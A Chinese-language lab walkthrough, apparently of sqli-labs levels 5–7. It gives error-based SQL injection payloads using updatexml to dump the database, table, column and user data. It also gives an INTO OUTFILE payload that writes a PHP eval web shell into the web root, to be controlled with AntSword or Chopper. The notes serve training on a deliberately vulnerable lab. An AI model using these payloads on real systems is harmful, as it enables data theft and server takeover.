跟之前一样首先传参,然后查看注入点以及闭合
用and 1=1
and 1=2都没问题,接下来测试单引号
利用' and 1=2的时候会报错
利用order by来判断列数
得出一共三列
接下来就是联合查询
但是这个并不会回显
那么就利用盲注或者报错注入
在这里我们利用报错来测试,也可以利用盲注但是报错更方便,在大多数我们无法看到显错位的时候都可以利用报错来尝试
payload:' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
那么接下来我们只需要根据之前关卡的语句来得到我们想要的数据就好了
payload: ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1 )--+
一共得到了四张表,那么很明显我们想到得到的重要数据在第四张表中,接下来查看第四张表的内容
接下来就是查看user中的列名
payload:' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1 )--+
以上就是user表中的列,这里只列了一部分一般知道用户名和密码就差不多了
接下来就是查具体的数据
payload: ' and updatexml(1,concat(0x7e,(select id from users limit 0,1),0x7e),1 )--+
这里就查了一个原理都一样。
第六关跟后面的又只是这个的变形,第六关是双引号
后面的payload又是一样的了。
第七关有一个提示是outfile
那么就考虑到读写文件
在这里就需要补充一些知识点了
写文件函数:into dumpfile into outfile
读取文件:load_file()
使用文件读写来进行SQL注入有一个前提就是secure file priv后面的值不为空
secure_file_priv为空表示可以读取任意路径文件
secure_file_priv=null表示不允许读取文件
secure_file_priv="D:/phpstudy/www"表示www目录下文件具有读写权限
union select 1,'<?php eval($_REQUEST[8])?> ',3 into outfile 'c:/phpstudy/www/1.php'
这句话的意思就是把union select查询出来的内容全部都导出来,就是1,'<?php eval($_REQUEST[8])?> ',3
导到后面的文件中
那么接下来开始猜解字段
利用') )and 1=1--+判断出来需要用两个括号来闭合【这里也是我刚刚才参透的就是当你用不同的符号尝试闭合是and 1=1是正常情况下and 1=2是报错证明闭合正确了】闭合一直不正确是and 1=1提示错误证明你没闭合了。
利用order by猜出来有三列
payload:
1') ) union select 1,"<?php @eval($_REQUEST[8]);?>",3 into outfile 'D:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\fcc.php'--+【这里如果页面报错也没关系,我们到路径里找一下文件是否创建成功,这里要注意一个"\"被转义的问题】
成功写入文件。
在这里也可以直接传参,查找我们想知道的数据。
也可以利用蚁剑或者菜刀连接